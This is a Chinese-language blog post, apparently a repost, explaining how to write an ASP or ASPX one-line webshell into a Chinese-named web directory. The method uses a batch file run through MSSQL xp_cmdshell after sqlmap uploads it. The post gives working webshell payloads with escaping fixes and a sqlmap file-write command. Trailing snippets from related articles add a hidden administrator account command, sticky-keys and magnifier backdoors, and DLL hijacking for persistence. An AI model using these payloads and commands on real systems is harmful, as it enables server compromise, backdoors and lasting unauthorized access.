MSSQL利用批处理写马至中文路径

VSole2021-10-29 16:18:08

0x01 前言

上周在先知社区看到@Xgstar师傅写的《SQLserver写Webshell总结-突破中文路径》文章中提到一个利用批处理写Webshell至中文路径的思路,但最后他并没有成功利用这个思路写入Webshell。

因为之前也写过这类场景的利用思路,所以就想对他提到的这个思路以及遇到的问题简单测试下,关于更多写Webshell至中文路径的思路可参考我之前写的《MSSQL高权限注入写马至中文路径》。

0x02 通过批处理文件写马

按照他的思路我们先在本地创建一个用于写一句话木马的批处理文件,不过得将该文件编码改为ANSI或GB2312(默认UTF-8),因为xp_cmdshell调用的cmd.exe命令终端的编码是GBK。

写ASP一句话:echo ^<%eval request("xxxasec")%^> >C:\inetpub\wwwroot\中文测试\shell.asp
写ASPX一句话:echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell.aspx

接着再利用sqlmap --file-write、--file-dest参数或者Windows自带的certutil等程序将这个写马批处理文件落地到目标磁盘中,再用type看下文件中的中文字符是否还会出现乱码?

sqlmap -u "http://192.168.56.102/sql.aspx?id=1" --batch --file-write /tmp/shell.bat -file-dest C:\\ProgramData\\shell.bat

上图中可以看到已经没有乱码了,但是在执行这个批处理文件写马时又出现了一点问题。

一句话木马文件是已经写进去了,但是已经不成样了,如下图,为什么会这样呢?我们继续往下看!


作者说是%与批处理不兼容的问题,其实就是一句话木马中的%......%被批处理当作行间注释了,不能出现>重定向符号和|管道符号,这时我们可以用两个%百分号来解决这个问题。

写ASP一句话:echo ^<%%eval request("xxxasec")%%^> >C:\inetpub\wwwroot\中文测试\shell.asp
写ASPX一句话:echo ^<%%@ Page Language="Jscript"%%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%%^> > C:\inetpub\wwwroot\中文测试\shell.aspx

将以上进行转义过的写一句话木马的批处理文件再次通过sqlmap --file-write、--file-dest的方式上传至目标磁盘中并执行。

这时可以看到已经成功将一句话木马写入至中文路径了。

0x03 需要注意的几个地方

  1. 命令行写Webshell时得在<>尖括号前用^转义:^<^>
  2. 批处理写Webshell时得在%百分号前用%转义:%%1%%2
  3. sqlmap --file-write、--file-dest写入文件时路径得用\\双斜杠;
批处理一句话木马
本作品采用《CC 协议》,转载必须注明作者和本文链接
上周在先知社区看到@Xgstar师傅写的《SQLserver写Webshell总结-突破中文路径》文章中提到一个利用批处理写Webshell至中文路径的思路,但最后他并没有成功利用这个思路写入Webshell。 因为之前也写过这类场景的利用思路,所以就想对他提到的这个思路以及遇到的问题简单测试下,关于更多写Webshell至中文路径的思路可参考我之前写的《MSSQL高权限注入写马至中文路径》。
可以通过注册表或直接用户管理删除隐藏的用户。0x2 Shift 后门将 C:\WINDOWS\system32\dllcache\sethc.exe 删除,这个文件夹中放着缓存,如果不删除就会自动变回去。按下 5下 shift 即可弹出管理权限的 DOS 窗口。0x3 放大镜后门创建 magnify.bat@echo off. 下的 magnify.exe登陆时通过组合键 Win+U 调用。DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。劫持系统程序具有兼容性,劫持用户程序则有针对性。
后渗透之权限维持的13种方法-Windows
0x1 匿名用户 net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add PS:通过在用户后面添加$符号的形式将用户达到隐藏的效果。 可以通过注册表或直接用户管理删除隐藏的用户。 0x2 Shift 后门 将 C:\WINDOWS\system32\dllcache
本实验环境靶场以发出,从外到内,给你服务器干翻!
MSSQL注入和漏洞利用姿势总结
基础介绍Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。判断数据库类型/*?数据库中独有的数据表,如果页面返回正常即可表示为?为便于管理数据库中的权限,SQL Server 提供了若干角色,这些角色是用于对其他主体进行分组的安全主体。
VSole
网络安全专家